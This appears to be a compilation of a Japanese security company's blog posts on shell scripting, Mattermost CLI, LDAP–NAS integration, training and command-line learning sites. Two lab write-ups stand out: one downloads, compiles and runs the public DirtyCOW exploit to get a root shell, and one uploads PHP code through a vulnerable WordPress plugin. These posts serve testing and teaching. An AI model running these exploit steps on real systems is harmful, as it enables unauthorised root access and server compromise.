Armoris日記 DirtyCOW編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

今更ながら DirtyCOW の検証をやってみます

脆弱性の検証は自身で管理するサーバー以外にはしないでください。

DirtyCOWとは Linux Kernel に存在する脆弱性Linux Kernel のメモリサブシステム内における copy-on-write の取り扱いで共有リソースへの排他的アクセスの制御ができず、同時に動作している別のコードシーケンスによって共有リソースにアクセスされてしまう競合状態が発生し、プライベートな読み取り専用メモリマッピングが破壊される脆弱性のことを言います。

Description参考:CWE

脆弱性が発表された当時すでにいくつかの PoC も公開されており、大きく話題になっていたようです。

脆弱性情報:NVD
影響を受けるバージョン:Linux Kernel 2.6.22 < 4.8.3
CVE番号:CVE-2016-5195

検証環境

今回検証にあたり Vagrant を使用して環境を用意しています。
使用した Box :sputnik13/trusty64

Name Version
Ubuntu Server 14.04
Linux Kernel 3.16.0-30-generic

さくっと検証環境を用意

以下の Vagrantfile を使用して仮想環境を用意します。

Vagrant.configure(2) do |config|
  config.vm.define :node1 do |node|
    node.vm.box = "ubuntu14.04"
    node.vm.hostname = "node1"
    node.vm.network :public_network,
      :dev => "br0",
      :mode => "bridge",
      :type => "bridge"
  end
end
Vagrant Box に関するちょっとした小ネタ

基本的に Vagrantfile に使いたい Box を書くことで自動的にダウンロードして起動してくれます。
しかしこの Box ダウンロードが非常に遅いことが多い為、wget を使用して Box をダウンロード後 Vagrant で使えるようにする方法を紹介します。

$ wget https://vagrantcloud.com/generic/boxes/ubuntu2004/versions/3.1.2/providers/libvirt.box
$ ls
libvirt.box
$ vagrant box add ubuntu2004 libvirt.box

Vagrantfile を用意したら vagrant up を実行して起動し、起動したら vagrant ssh で仮想環境に接続します。

$ vagrant up
Bringing machine 'node1' up with 'libvirt' provider...
==> node1: Creating image (snapshot of base box volume).
==> node1: Creating domain with the following settings...
〜〜〜〜 一部省略 〜〜〜〜
==> node1: Rsyncing folder: /home/ubuntu/blog/ => /vagrant
$ vagrant ssh
Welcome to Ubuntu 14.04.2 LTS (GNU/Linux 3.16.0-30-generic x86_64)

 \* Documentation:  https://help.ubuntu.com/
Last login: Wed Apr 15 10:16:51 2015 from 10.0.2.2
vagrant@node1:~$

仮想環境に接続できたら今回使用する PoC をコンパイルするために gcc を入れておきます。

vagrant@node1:~$ sudo apt update
vagrant@node1:~$ sudo apt -y install wget gcc

PoC実行前に環境の確認をします。

vagrant@node1:~$ uname -r
3.16.0-30-generic
vagrant@node1:~$ id
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare)

PoC を実行してみる

さくっと環境の準備が終わったら PoC を実際に実行してみます。
PoC は複数公開されていますが、今回は以下の PoC を試してみます。
PoC:EXPLOIT DB
Gist:Gist

vagrant@node1:~$ wget https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c
vagrant@node1:~$ ls
cowroot.c

PoC ファイルをダウンロードできたらコンパイルして実行します。
Exploit が成功すると以下のように root ユーザーのシェルにログインできるようになります。
id コマンドを実行して uid が root になっていることを確認します。

vagrant@node1:~$ gcc cowroot.c -o cowroot -pthread
vagrant@node1:~$ ls
cowroot  cowroot.c
vagrant@node1:~$ ./cowroot
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
Size of binary: 47032
Racing, this may take a while..
thread stopped
/usr/bin/passwd overwritten
Popping root shell.
Don't forget to restore /tmp/bak
thread stopped
root@node1:/home/vagrant# id
uid=0(root) gid=1000(vagrant) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare),1000(vagrant)

これで root 権限の取得まで再現できました。

最後に

今回検証した DirtyCOW と呼ばれる脆弱性は古いものですが、すでに多くの PoC や検証に関する情報が出回っています。
実際に root 権限取得までが非常に容易に行えることが確認できたと思います。
今後はこの脆弱性を組み込んだ CTF の問題なども作成できればと考えています。

また、いつものことですが 自分が管理するサーバー以外では絶対に試さないでください。
検証は自己責任でお願いします。

Armoris日記 Shell for if編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

Shell で for文とか if文が使いたい!!!

今回の Armoris日記は Shellスクリプトを書いているとき唐突に for文や if文を使いたくなってしまった方向けです。

内容は普段私が書いている書き方になるので、間違っている部分があればご指摘お願いします。

for文 if文とは?

簡単に for と if について説明します。
for文は 20回 Hello と出力したいなどあることを一定回数繰り返したいときに使います。
if文はもし入力された値が 10 なら Hello それ以外であれば World を出力するなど特定の条件で処理を変えたいときに使います。

早速 for文を書く

早速 Shellスクリプトでの for文の書き方を2つ紹介します。以下で紹介する書き方は最も汎用性が高く個人的によく使う書き方だと思います。
これはプログラムを書いたことある人であれば馴染みやすいのではないかと思います。

#!/bin/bash

echo "for sample 1"
for i in `seq 1 3`
do
        echo $i
done

echo "for sample 2"
for i in {1..3}
do
        echo ${i}
done

2つの for文はそれぞれ書き方が少し違いますが実行結果は以下のように同じになります。

for sample 1
1
2
3
for sample 2
1
2
3

おまけ 無限ループ

for文から少し離れてしまいますがたまには無限ループを使いたくなる時もあると思います。
そこで while を使って無限ループを作る方法を以下で紹介します。

while : ;
do
        echo hoge
done

もちろん無限ループなので実行結果は永遠とhogeが出力され続けます。

if文を書く

次に Shell で if文を使いたいときの書き方を紹介します。
まずは条件式内で比較に使える記号を確認します。

記号 Shell
= =
> -gt
< -lt
>= -ge
<= -le
NOT !
AND -a 又は &&
OR -o 又は ||

全ての例を書くと長くなってしまうため一部のみ紹介させていただきます。

#!/bin/bash

A="A"
B="A"
if [ $A = $B ] ;
then
        echo "AとBは同じ文字列"
else
        echo "AとBは違う文字列"
fi

A=4
B=2
if [ $A -lt $B ] ;
then
        echo "Bの方が大きい"
else
        echo "Aの方が大きい"
fi

A=2
B=4
if [ $A -gt $B ] ;
then
        echo "Aの方が大きい"
else
        echo "Bの方が大きい"
fi

これで for文と if文を使った簡単な処理が Shellスクリプトで書けるようになります。
最低限これら2つが使えるだけでもより多くのことが Shellスクリプトでできるようになります。

他にも for文を使ってテキストファイルの内容を1行ずつ処理することも可能ですし、例で紹介した if文の比較以外にも表にあるものを使ってより複雑な条件分岐をさせることも可能です。

おまけ

最初に紹介した for文の中で以下の書き方をすると一部環境では出力結果が異なる場合があります。

#!/bin/bash

for i in {1..3}
do
        echo ${i}
done

実行結果

{1..3}

これについて調べてみると以下の Qiita記事を見つけました。
Qiita:bashで「Syntax error: "(" unexpected」が表示される

どうやら Ubuntu 上で Shellスクリプトを実行すると、配列や上の例で挙げている for文などで公文エラーや意図しない挙動になることがあるようです。
原因は dash と言うシェルが使用されている為だそうです。

私の環境でも以下のようになっていました。

$ ls -l /bin/sh
lrwxrwxrwx 1 root root 4 Feb 14  2019 /bin/sh -> dash
$ which bash
/bin/bash

解決策としてはシェルを変更する方法と、以下のように直接 bash を指定して実行することで一時的に実行することができます。

$ /bin/bash example.sh

以上で今週の Armoris日記を終わりにしようと思います。

それでは良いスクリプトライフを!!!

さぽぉたぁ日記 初級向けWeb脆弱性トレーニング編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

サポーター日記って何書くの

サポーター日記では Armoris が行っている短期集中型のトレーニング(講座)で私がサポート役を努めた際の準備や、開催側として行ったことについて書いていこうと思います。

早速今回はサポーター編の第1回目として 2020/10/20 - 2020/10/21 の日程で行われた DOJO Shot の新コースである「初級向けWebアプリケーションのリスクとその対策を知るトレーニング 」がテーマです。

レーニング概要

「Webアプリケーションにおける代表的な脆弱性の発生原理と対策を学習します。プログラムで対策する脆弱性については、修正作業のハンズオン演習も行います。」
Armoris HPより

以下の動画は簡単なデモを交えたトレーニングの紹介です。

www.youtube.com

レーニング実施にあたって

今回実施するのは実機を用いたハンズオン形式のトレーニングですが、オンライン開催ということでいくつかオンライン開催のポイントを箇条書きで紹介します。

以下は想定していたオンライン受講環境の図です。
f:id:Armoris:20201026165320p:plain
Armoris HPより

オンライン実施に伴う演習環境への接続

  • 演習環境に接続するためには VPN が必須となるため事前に接続確認ができるようフォローを行った
  • VPN 接続時に社内端末に入っているアプリと競合する可能性があることを確認
  • 各種接続情報の共有には Google Drive を使用
  • 事前に受講者の受講環境を把握しておくとフォローが容易

オンライン実施に伴うトレーニングの進行

  • 講義はスライドを使用した説明のし易さと利便性から ZOOM を使用し講師から受講生の一方向のみで利用
  • 画像の貼り付けや個別での対応が ZOOM では難しいため双方向コミュニケーションには Mattermost を使用
  • 別途紙のテキストも用意しページ番号を通知することで手元で確認しやすいよう配慮
  • 受講者の画面を確認できないためコピペできるよう資料を工夫しタイプミスに配慮
  • 基本的に音声情報がメインになるため受講者にわかりやすいようゆっくり正確に喋るよう特に配慮
  • 演習では受講者ごとの進行促進を把握するために課題が成功したら Mattermost で書き込んでもらった
  • 受講者の画面が見えずどこで詰まっているかをこちらから把握できないためわからなければフォローしますと定期的にアナウンス
  • 事前に演習で必要なショートカットや URL などはデスクトップやブックマークに入れておき操作説明を統一

オンラインで実機を使用したハンズオントレーニングを行う際に注意したポイントを紹介させていただきました。

参加者アンケートから

最後にトレーニング終了後に入力していただいたアンケートの結果を紹介させていただきます。

アンケートの中で「演習の量はいかがでしたか」という質問に対しては、ほとんどの参加者の方が演習の量が少し物足りなかったと回答しています。
今回のトレーニングの参加理由に演習を通して学びたいという方が多くいましたが、初級者向けということもあり演習の量や難易度が高くならないようにしていたということが原因ではないかと考えています。
f:id:Armoris:20201027095248p:plain

最後に

アンケート結果から今回用意した構成でトレーニングを行うにあたり問題無いということがわかったので、今後も今回の構成を基本としてトレーニングを実施する予定です。
運用面においても今回のアンケートなどを参考にトレーニング事前準備の効率アップやスタッフの方から積極的にチャットを送るなど双方向コミュニケーションの活発化を図りたいと考えています。

また今回のアンケートを参考に DOJO Shot のコースを増やすなどコンテンツの拡充も行っていきたいと思います。

Armoris日記 Mattermost CLI編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

Mattermost CLIを使う

そもそも Mattermost とは何か

Mattermost とはオープンソースで開発されているチャットサービスです。使用感や UI は Slack によく似ています。そのため Slack を使用したことがある人ならばすぐに馴染めると思います。

今回は Mattermost を使用する際にコマンドラインでユーザーの作成等が行える Mattermost CLI を実際の使用例を交えて紹介していこうと思います。

今回紹介するコマンド以外にも便利なコマンドがたくさんあるため、興味がある方は以下URLから公式リファレンスを参照してください。

基本の使い方

Mattermost CLI のコマンドを使うためにはインストール時に Mattermost を展開した場所の中にある Mattermost ファイルを指定する必要があります。
この時公式リファレンスでは Mattermost のルートディレクトリから実行しろとあるので、デフォルトでインストールした場合は以下のように使います。

cd /opt/mattermost
bin/mattermost {command}

ユーザー作成

Mattermost CLI でユーザーを作成する場合は以下のようにメールアドレスとユーザー名、パスワードを指定します。

bin/mattermost user create --email user@example.test --username user --password Password

以下はuser createで指定できるオプションです。
--system_adminを指定すれば管理者アカウントを作成することができます。

--email string       Email
--firstname string   First Name
--lastname string    Last Name
--locale string      Locale (ex: en, fr)
--nickname string    Nickname
--password string    Password
--system_admin       Make the user a system administrator
--username string    Username

ユーザーをチームに追加

作成したユーザーをチームに参加させるには以下のようにユーザーのメールアドレスとユーザー名を指定します。

bin/mattermost team add ExampleTeam user@example.test user

チャンネル作成

チームに参加しているユーザーが誰でも参加できる公開チャンネルを作る際は以下のようにコマンドを実行します。
この時チャンネル名は全て小文字にする必要がありますが、display nameは大文字やスペースを使用することができます。

bin/mattermost channel create --team ExampleTeam --name channel --display_name "Channel"

以下はchannel createで指定できるオプションです。
--privateを指定することでシークレットチャンネルを作成することができます。

--display_name string   Channel Display Name
--header string         Channel header
--name string           Channel Name
--private               Create a private channel.
--purpose string        Channel purpose
--team string           Team name or ID

ユーザーをチャンネルに追加

作成したチャンネルにユーザーを追加する場合は以下のようにコマンドを実行します。
シークレットチャンネルの場合も同様にチャンネル名を指定してユーザーを追加することができます。

bin/mattermost channel add ExampleTeam:channel user

シェルスクリプトで楽をする

ここまで Mattermost を利用するにあたってよく使うと思われるコマンドを紹介しましたが、これを手動でぽちぽちするのは大変なので、次はシェルスクリプトを使って楽に大量のアカウントを操作する方法を紹介します。

実際にトレーニングを行う際などは大量にユーザーを作成してチャンネルに追加したりする作業が必要だと思いますが、シェルスクリプトを使えば全て自動で行うことができます。
また、次に環境を用意する時もパラメータを変更するだけで可能なため、非常に楽に運用することができると思います。

ここでは例として以下の要件に沿ってチャンネルとユーザーを作成し、各ユーザーをチームに参加させて作成したチャンネルに追加するスクリプトを書きます。

項目 名前
チーム名 ExampleTeam
ユーザー名 user1 ~ user10
メール user1@example.test ~ user10@example.test
パスワード password1 ~ password10
参加チャンネル channel
#!/bin/bash

TeamName="ExampleTeam"
Channel="channel"
User="user"
Mail="example.test"
Password="password"

bin/mattermost channel create --team $TeamName --name $Channel --display_name "$Channel"

for i in `seq 1 10`
do
        bin/mattermost user create --email $User$i@$Mail --username $User$i --password $Password$i
        bin/mattermost team add $TeamName $User$i@$Mail $User$i
        bin/mattermost channel add $TeamName:$Channel $User$i
done

最後に

冒頭でも説明したように今回紹介したのコマンドはごく一部です。Mattermost CLI には他にもたくさんのコマンドが用意されているため興味がある方は是非公式リファレンスを参照してください。

そして最後にシェルスクリプトを紹介しましたが、Mattermost CLI のコマンドだけでなくシェルスクリプトでいろいろなことができます。シェルスクリプトについても興味があれば是非調べてみてください。

Armoris日記 OpenLDAP&QNAP NAS編

このブログは、N高等学校に潜んでいる株式会社Armorisのアルバイトが書いています。

あるもりすぶろぐの内容は個人の意見です。

OpenLDAPとQNAPのNASを連携させる

今回のArmoris日記はQNAPのNASOpenLDAPとの連携について解説します。

NAS (Network Attached Storage) とは、ネットワークに直接接続して使用するファイルサーバです。そして、QNAPはよく用いられるNASのメーカーです。

OpenLDAPとは、簡単にいえば認証サーバーです。複数のサービスで中央集権的に認証情報を管理するときに使われるものです。

環境

使用した環境と各種バージョンは以下のとおりです。

Name Version
QNAP TS-453Be 4.4.3.1400
Ubuntu Server 18.04
OpenLDAP 2.4.49
LDAP Account Manager 6.7

セットアップ

QNAP NASOpenLDAPは構築済であることを前提としておきます。

Sambaのインストール

# Sambaのインストール
$ sudo apt-get install samba
# インストールの確認
$ samba -V
Version 4.7.6-Ubuntu
# Serviceのストップ
$ sudo systemctl stop smbd nmbd
# Sambaを使わない場合は自動起動を無効
$ sudo update-rc.d -f samba-ad-dc remove
$ sudo update-rc.d -f smbd remove
$ sudo update-rc.d -f nmbd remove

スキーマファイルを追加

# スキーマファイルをコピー
$ sudo cp /usr/share/doc/samba/examples/LDAP/samba.schema /etc/ldap/schema/
$ sudo cp /usr/share/doc/samba/examples/LDAP/samba.ldif /etc/ldap/schema/
# スキーマファイルを追加
$ sudo ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/ldap/schema/samba.ldif
# 確認
$ sudo ldapsearch -Y EXTERNAL -H ldapi:/// -LLL -b "cn=schema,cn=config" dn

QNAPと連携

1 管理者として NAS にログインします。

2 「コントロールパネル」 > 「権限」 > 「ドメインセキュリティ」に進みます。

  1. LDAP認証を設定します。
    f:id:Armoris:20201009224650p:plain
フィールド 説明
LDAP サーバーホスト LDAPサーバーのホスト名またはIPアドレスを指定
LDAPセキュリティ ldap:// 標準LDAP接続を使用
ldap://(ldap + SSL) SSLで暗号化された接続を使用
ldap://(ldap + TLS) TLSで暗号化された接続を使用
ベースDN LDAPドメインを指定
例: dc=mydomain,dc=local
ルートDN LDAPユーザーを指定
例: cn=admin,dc=mydomain,dc=local
パスワード ユーザーのパスワードを指定
ユーザーベースDN ユーザーが格納されている OU(組織単位)を指定
例: ou=people,dc=mydomain,dc=local
グループベースDN グループが格納されている OU(組織単位)を指定
例: ou=group,dc=mydomain,dc=local

4 適応をクリックします。

5 LDAP 認証オプションを設定します。

設定 説明
ローカルユーザーのみ ローカル NAS ユーザーのみが、Microsoft ネットワーキングを経由して NAS にアクセスできます
LDAPユーザーのみ LDAPユーザーのみが、Microsoft ネットワーキングを経由してNASにアクセスできます

6 終了をクリックします。

LDAPのUserを設定

1 権限があるユーザーでLAMにログインします。

2 左上のTree viewをクリックします。

f:id:Armoris:20201009233709p:plain

3 任意のouの下のCreate new entry hereをクリックします。

4 TemplatesのDefaultを選択します。 f:id:Armoris:20201009234523p:plain

5 Object classesから以下をCtrl+クリックで選択しProceedをクリックします。

inetOrgPerson
posixAccount
sambaSamAccount

f:id:Armoris:20201009235010p:plain

6 RDNをcnにして以下の項目を埋めCreate objectをクリックします。

cn: ユーザー名
gidNumber: Properなら10 Parttimeなら11
homeDirectory: /home/ユーザー名
sambaSID: 「コントロールパネル」 > 「権限」 > 「ドメインセキュリティ」の現在のSamba ID
sn: ユーザー名
uid: ユーザー名
uidNumber: Armorisの名簿の番号
mail: メールアドレス
userPassword: 適当なパスワード

f:id:Armoris:20201009235235p:plain

確認

「コントロールパネル」 > 「権限」 > 「ドメインユーザー」でLDAPのユーザーが表示されれば成功です。 f:id:Armoris:20201010000246p:plain

最後に

今回はOpenLDAPとQNAP NASの連携を紹介しました。 NAS内蔵のLDAPを使う方法は多く紹介されていますが、外部のLDAP Serverを利用する方法の紹介は多くないように思えたので紹介してみました。

Armoris日記 CVE-2020-24389編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

CVE-2020-24389 の検証をしてみる

今週の Armoris日記は久しぶりの検証編になります。
脆弱性の検証は自身で管理するサーバー以外にはしないでください。

今回検証するのは 2020/09/21 に公開された CVE-2020-24389 の脆弱性になります。
この脆弱性は一部のファイル拡張子が無効化されていなかったため、任意の PHP コードをアップロードすることができるようになるというものです。

つまり自作のプログラムファイルがサイト管理者に無断でアップロードされてしまいます。

2020/10/01 時点で既にいくつか PoC に関する情報が出ていますが、WPScan に公開されていないため PoC に関する説明は行いません。

脆弱性情報 : WPScan WordPress Vulnerability Database
該当プラグイン : Drag and Drop Multiple File Upload – Contact Form 7
関連プラグイン : Contact Form 7

影響を受けるバージョン : < 1.3.5.5

検証環境

検証に使用した環境と各種バージョンは以下のとおりです。
今回の脆弱性Drag and Drop Multiple File Upload – Contact Form 7 というプラグインに存在するものですが、これは Contact Form 7 というプラグインに機能を追加するもののため、検証には両方をインストールする必要があります。

Name Version
Ubuntu Server 20.04
WordPress 5.5.1
Drag and Drop Multiple File Upload – Contact Form 7 1.3.5.1
Contact Form 7 5.2.1

プラグインインストール・準備

まずは必要なプラグインの zip をダウンロードします。

$ wget https://downloads.wordpress.org/plugin/drag-and-drop-multiple-file-upload-contact-form-7.1.3.5.1.zip && wget https://downloads.wordpress.org/plugin/contact-form-7.5.2.1.zip
--2020-10-01 04:29:37--  https://downloads.wordpress.org/plugin/drag-and-drop-multiple-file-upload-contact-form-7.1.3.5.1.zip
Resolving downloads.wordpress.org (downloads.wordpress.org)... 198.143.164.250
Connecting to downloads.wordpress.org (downloads.wordpress.org)|198.143.164.250|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 35452 (35K) [application/octet-stream]
Saving to: ‘drag-and-drop-multiple-file-upload-contact-form-7.1.3.5.1.zip’

drag-and-drop-multiple-file-upload-cont 100%[=============================================================================>]  34.62K  --.-KB/s    in 0.07s

2020-10-01 04:48:00 (529 KB/s) - ‘drag-and-drop-multiple-file-upload-contact-form-7.1.3.5.1.zip’ saved [35452/35452]

--2020-10-01 04:29:43--  https://downloads.wordpress.org/plugin/contact-form-7.5.2.1.zip
Resolving downloads.wordpress.org (downloads.wordpress.org)... 198.143.164.250
Connecting to downloads.wordpress.org (downloads.wordpress.org)|198.143.164.250|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 185814 (181K) [application/octet-stream]
Saving to: ‘contact-form-7.5.2.1.zip’

contact-form-7.5.2.1.zip                100%[=============================================================================>] 181.46K   198KB/s    in 0.9s

2020-10-01 04:29:45 (198 KB/s) - ‘contact-form-7.5.2.1.zip’ saved [185814/185814]

$ ls
contact-form-7.5.2.1.zip  drag-and-drop-multiple-file-upload-contact-form-7.1.3.5.1.zip

zip のダウンロードが完了したら zip を解凍し、プラグインディレクトリに配置します。

$ sudo unzip contact-form-7.5.2.1.zip && sudo unzip drag-and-drop-multiple-file-upload-contact-form-7.1.3.5.1.zip
~~~~~~~~~~~~~~~~
  inflating: drag-and-drop-multiple-file-upload-contact-form-7/languages/dnd-upload-cf7-ru_RU.mo
  inflating: drag-and-drop-multiple-file-upload-contact-form-7/languages/dnd-upload-cf7-ru_RU.po
  inflating: drag-and-drop-multiple-file-upload-contact-form-7/readme.txt
  inflating: drag-and-drop-multiple-file-upload-contact-form-7/uninstall.php
$ sudo cp -r drag-and-drop-multiple-file-upload-contact-form-7 /var/www/wordpress/wp-content/plugins/ && sudo cp -r contact-form-7 /var/www/wordpress/wp-content/plugins/
$ ls /var/www/wordpress/wp-content/plugins/
akismet  contact-form-7  drag-and-drop-multiple-file-upload-contact-form-7  hello.php  index.php

プラグインファイルを配置したら /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files というディレクトリを作成しておきます。

次に /var/www/wordpress/ ディレクトリ以下の所有者とグループがwww-dataになっている事を確認します。 rootなどになっている場合は所有者とグループを変更します。

$ ls -l
total 8
drwxr-xr-x 2 root     root     4096 Sep 28 08:59 html
drwxr-xr-x 5 www-data www-data 4096 Sep 30 09:04 wordpress

最後に WordPressのサイトを開いてプラグインを有効化すれば準備は完了です。

PoC を実際に実行してみる

準備が完了したら実際に PoC を実行します。
今回は以下の PHP コードをアップロードしてみます。

<?php
    phpinfo();
?>

以下の画像は PoC 実行時の結果です。
f:id:Armoris:20201001141618j:plain

以下は実際に phpinfo の実行が確認されています。 f:id:Armoris:20201001142026p:plain

最後に

今回検証した脆弱性は攻撃が非常に簡単なため、実際に攻撃事例が報告されています。
脆弱性の対象バージョンは比較的新しいもののため、導入されている方はすぐにアップグレードすることをお勧めします。

また、プラグインがファイルをアップロードするディレクトリ に不審なファイルがないかを確認してみるのもいいと思います。

自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。

Armoris日記 UNIXコマンド入門編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

Web で UNIX 系 OS のコマンドライン操作に慣れる

今回は Linux を触り始めたばかりの方や、ある程度コマンドライン操作に自信がついてきた方におすすめな、コマンドライン操作に慣れる練習をするのに便利な Webサイトをいくつか紹介したいと思います。
サイトは私が実際にやってみて感じたレベル感をもとに、それぞれ 初級 ・ 中級 ・ 上級 に分けて紹介しています。

初級・中級で紹介するサイトでは主に良く使うコマンドの操作が中心ですが、上級ではより発展的な内容になっています。

初級

初級で紹介するのは Linuxなどに今まで触れたことが無く、コマンドライン操作自体に馴染みがないと言う方におすすめなサイトになります。

サイト名 Progate Command Line 基礎編
これは Progate が提供するプログラミング学習サービスのレッスンの一つで、無料で受けることができます。
レッスンではコマンドの説明を読み、次に実践すると言う形で進めていきます。コマンド説明のスライドは日本語でわかりやすく、扱っているコマンド数が少ないので簡単に覚えられると思います。

f:id:Armoris:20200924172414p:plain

このレッスンでは主にlsmv cp などの基本的なファイル操作のコマンドなどを学習できます。

中級

中級で紹介するのは cdmv は使えるので他にももっと色々なコマンドを便利に使いたいと言う方におすすめです。

サイト名 Command Line Linux Journey
このサイトはオープンソースで提供されている Linux について学ぶことのできる学習サイト Linux Journey で提供されているものになります。
このコースでは初級で紹介した基本的なコマンドと応用的なコマンド、知っておくと役立つコマンドなどが紹介されています。サイト自体は英語のためコマンドの説明なども英語ですが、コマンドの使用例などを交えて解説されているのでわかりやすいと思います。

f:id:Armoris:20200924172458p:plain

このコースでは findalias など少し発展的なコマンドを学習できます。
また、サイトでは Linux 全般についてまとめられているため他にも興味を持ったカテゴリーを覗いてみるのもいいと思います。

上級

上級で紹介するのはより応用的なコマンドなど実際によく使うものを学べるサイトになります。
初級と中級が簡単にできてしまい物足りないと感じる方は是非挑戦してみてください。

サイト名 CMD Challenge
このサイトはオープンソースで公開されているシェルに関する知識を試すことができるものになります。
このサイトでは問題が表示され、その条件を満たすコマンドを入力することで先に進むことができます。問題は hello world を表示しろと言うものから 特定のファイルのラスト5行を表示しろと言うものなど幅広いコマンドと難易度の問題が用意されています。

f:id:Armoris:20200924172521p:plain

また、解答が必ずしも一つとは限らないので幅広いコマンドを試せるためおすすめです。
このサイトでは echo などの基本的なコマンドから awkgrep|| など shell に関することをより多く学習することができます。

最後に

以上3つのサイトを実際に自分でやってみて感じた難易度順にそれぞれ紹介してみました。
今回紹介したサイト以外にも同じようなコマンド学習サイトはいくつかあります。自分に合ったサイトを見つけて UNIX コマンドを使いこなせるようになって欲しいと思います。

私自身もまだまだ知らないことが多いので、今回紹介したようなサイトなどを参考にしながら日々勉強しています。